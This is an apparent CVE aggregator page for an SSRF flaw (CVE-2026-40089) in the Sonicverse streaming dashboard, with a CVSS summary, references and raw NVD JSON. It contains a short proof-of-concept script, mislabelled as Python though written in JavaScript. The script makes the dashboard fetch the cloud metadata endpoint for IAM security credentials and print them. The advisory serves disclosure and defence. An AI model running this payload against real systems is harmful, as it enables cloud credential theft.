CVE-2026-40089

Description

Sonicverse is a Self-hosted Docker Compose stack for live radio streaming. The Sonicverse Radio Audio Streaming Stack dashboard contains a Server-Side Request Forgery (SSRF) vulnerability in its API client (apps/dashboard/lib/api.ts). Installations created using the provided install.sh script (including the one‑liner bash <(curl -fsSL https://sonicverse.short.gy/install-audiostack)) are affected. In these deployments, the dashboard accepts user-controlled URLs and passes them directly to a server-side HTTP client without sufficient validation. An authenticated operator can abuse this to make arbitrary HTTP requests from the dashboard backend to internal or external systems. This vulnerability is fixed with commit cb1ddbacafcb441549fe87d3eeabdb6a085325e4.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Sonicverse Radio Audio Streaming Stack (Commit cb1ddbacafcb441549fe87d3eeabdb6a085325e4 之前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-40089 Sonicverse SSRF
// Description: Exploiting the SSRF in the dashboard API client to access internal metadata.

const targetUrl = 'http://<TARGET-DASHBOARD-HOST>/api/endpoint';
const internalTarget = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/';

fetch(targetUrl, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Authorization': 'Bearer <VALID_OPERATOR_TOKEN>'
    },
    body: JSON.stringify({
        url: internalTarget
    })
})
.then(response => response.text())
.then(data => console.log('Leaked Data:', data))
.catch(err => console.error('Exploit failed:', err));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40089
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40089
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40089/
[4] VulDB https://vuldb.com/cve/CVE-2026-40089
[5] https://github.com/sonicverse-eu/audiostreaming-stack/security/advisories/GHSA-8vvj-7f7r-7v48

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40089", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.743", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sonicverse is a Self-hosted Docker Compose stack for live radio streaming. The Sonicverse Radio Audio Streaming Stack dashboard contains a Server-Side Request Forgery (SSRF) vulnerability in its API client (apps/dashboard/lib/api.ts). Installations created using the provided install.sh script (including the one‑liner bash <(curl -fsSL https://sonicverse.short.gy/install-audiostack)) are affected. In these deployments, the dashboard accepts user-controlled URLs and passes them directly to a server-side HTTP client without sufficient validation. An authenticated operator can abuse this to make arbitrary HTTP requests from the dashboard backend to internal or external systems. This vulnerability is fixed with commit cb1ddbacafcb441549fe87d3eeabdb6a085325e4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/sonicverse-eu/audiostreaming-stack/security/advisories/GHSA-8vvj-7f7r-7v48", "source": "[email protected]"}]}}